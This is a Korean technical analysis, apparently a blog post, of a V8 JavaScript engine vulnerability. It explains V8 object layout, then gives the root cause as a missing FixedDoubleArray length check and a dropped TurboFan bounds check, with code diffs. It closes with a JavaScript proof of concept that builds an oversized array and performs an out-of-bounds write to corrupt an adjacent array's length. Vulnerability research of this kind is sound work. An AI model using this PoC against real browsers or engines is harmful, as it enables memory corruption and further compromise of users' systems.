V8 내부 객체 구조
모든 객체는 공통된 헤더를 가집니다.
[ Map Pointer | Properties Pointer | Elements Pointer | … (in-object fields) … ]
- Map Pointer
- 이 객체가 어떤 형(Shape)인지 정의하는 포인터
- Hidden Class라고도 부르며, 프로퍼티 이름·순서·타입 정보·접근 오프셋 등이 담긴 메타데이터.
- Properties Pointer
- named property(예:
obj.foo = 123)들의 실제 값 저장소로 연결. - Fast Properties 모드일 땐
FixedArray또는DescriptorArray포인터, Dictionary Properties 모드에선 해시맵 구조체 포인터.
- named property(예:
- Elements Pointer
- 인덱스 Properties들의 저장소.
- 보통
FixedArray또는FixedDoubleArray형태로, 길이와 실제 데이터가 이어진 버퍼.
- In-Object Fields
- Map에 정의된 in-object property count 만큼, 헤더 뒤에 곧바로 배치되는 슬롯 공간.
a = 1;
b = true;
c = ['1', '2'];
d = {"a": 2};
e = {"b": 1, "c": 3};
- a = 1
1 은 31비트(또는 32비트 아키텍처에선 30비트) 정수로 태그되어, 포인터처럼 레지스터나 스택에 저장.
Heap 할당 없이 즉시 사용 가능 → 매우 빠른 접근 속도
- b = true
마찬가지로 heap 할당 없이 저장
- c = [‘1’, ‘2’]
- HeapObject 헤더
┌───────────────────────────────────────────┐ │ HeapObject for Array c │ │ ┌────────────┬───────────────────────────┐│ │ │ Map Ptr │ → Map_Array ││ │ ├────────────┼───────────────────────────┤│ │ │ properties │ → empty_properties_array ││ │ ├────────────┼───────────────────────────┤│ │ │ elements │ → FixedArray (len=2) ││ │ ├────────────┼───────────────────────────┤│ │ │ InObject0 │ (unused) ││ │ └────────────┴───────────────────────────┘│ └───────────────────────────────────────────┘- Map_Array: 배열 전용 Hidden Class
- properties: 배열은 일반적으로 named property가 없으므로 빈 배열 포인터
- elements:
FixedArray형태, 두 슬롯에String('1')과String('2')에 대한 포인터 저장- 문자열
'1','2'는 각각 HeapObject String 으로 따로 저장.
- 문자열
- d = {“a”: 2}
- 초기 빈 객체
- 프로퍼티
a추가- HiddenClass 전이
-
properties 확장
properties포인터가 빈 배열 →FixedArray(len=1)로 교체, [0]에 SMI2
- e = {“b”: 1, “c”: 3}
- 빈 객체
- 프로퍼티
b추가- properties →
FixedArray(len=1)에 [1]
- properties →
- 프로퍼티
c추가- properties →
FixedArray(len=2)에 [1, 3]
- properties →
Root Cause
- 배열 생성 시 최대 길이 검사 누락
V8 소스의 fixed-array.tq 파일에 정의된 매크로 NewFixedDoubleArray에서, 생성하려는 배열의 길이가 kFixedDoubleArrayMaxLength를 초과하는지 검사하는 코드가 빠져 있습니다.
macro NewFixedDoubleArray<Iterator: type>(
length: intptr, it: Iterator): FixedDoubleArray|EmptyFixedArray {
if (length == 0) return kEmptyFixedArray;
+ if (length > kFixedDoubleArrayMaxLength) deferred {
+ runtime::FatalProcessOutOfMemoryInvalidArrayLength(kNoContext);
+ }
return new FixedDoubleArray{
map: kFixedDoubleArrayMap,
length: Convert<Smi>(length),
objects: …it
};
}
이로 인해 길이가 한계치를 초과해도 FixedDoubleArray가 생성되어 내부 버퍼 크기를 벗어나는 상태가 만들어집니다.
- JIT 최적화 과정에서 경계 검사 제거
TurboFan JIT 컴파일러의
simplified-lowering단계에서, 배열 접근에 대한 경계 검사가 없습니다.
case IrOpcode::kMaybeGrowFastElements: {
ProcessInput(node, 0, …); // object
ProcessInput(node, 1, …); // elements
ProcessInput(node, 2, …); // index
ProcessInput(node, 3, …); // length
ProcessRemainingInputs(node, 4);
SetOutput(node, MachineRepresentation::kTaggedPointer);
- if (lower() && index_type.Max() < length_type.Min()) {
- DeferReplacement(node, node->InputAt(1));
- }
return;
}
이 단계에서 “index < length”라는 전제 조건 검사를 완전히 빼 버리기 때문에, OOB 쓰기가 가능해집니다.
PoC
giant_array생성
array = Array(0x40000).fill(1.1);
args = Array(0x100 - 1).fill(array);
args.push(Array(0x40000 - 4).fill(2.2));
giant_array = Array.prototype.concat.apply([], args);
array 길이: 0x40000 (262 144)
args에 0xff개(0x100 - 1)의 동일 배열 추가 → 길이 = 0x40000 × 0xff
마지막에 길이 0x40000−4 (262 140) 배열 추가 → 총합 = 262 144×255 + 262 140 = 67108860
splice를 통한 배열 재생성
giant_array.splice(
giant_array.length, 0, 3.3, 3.3, 3.3
);
이 호출로 V8은 내부적으로 새로운 FixedDoubleArray를 만들면서 길이를 67108863으로 설정
그러나 NewFixedDoubleArray에선 최대 길이(kMaxLength = 67 108 862) 초과 여부를 검사하지 않으므로, 버퍼 오버플로우 상태가 만들어집니다.
- 경계 검사 제거 반복 트리거
for (let i = 0; i < 30000; ++i) {
trigger(giant_array);
}
JIT 컴파일러가 trigger 함수를 반복 실행하여 최적화를 활성화
최적화된 바이트코드에서는 배열 길이 검사(index < length)가 삭제되어, 이후 해당 함수를 호출할 때마다 OOB 쓰기가 곧바로 실행
- OOB 쓰기
function trigger(array) {
var x = array.length; // 67 108 863
x -= 67_108_861; // 2
x = Math.max(x, 0); // 2
x *= 6; // 12
x -= 5; // 7
x = Math.max(x, 0); // 7
let corrupting_array = [0.1, 0.1];
let corrupted_array = [0.1];
corrupting_array[x] = length_as_double;
return [corrupting_array, corrupted_array];
}
x 계산 결과 7이 되는데, 실제 corrupting_array의 길이는 2이므로 인덱스 7은 경계 밖
이때 length_as_double을 써서, 인접 메모리를 덮어쓰게 됩니다.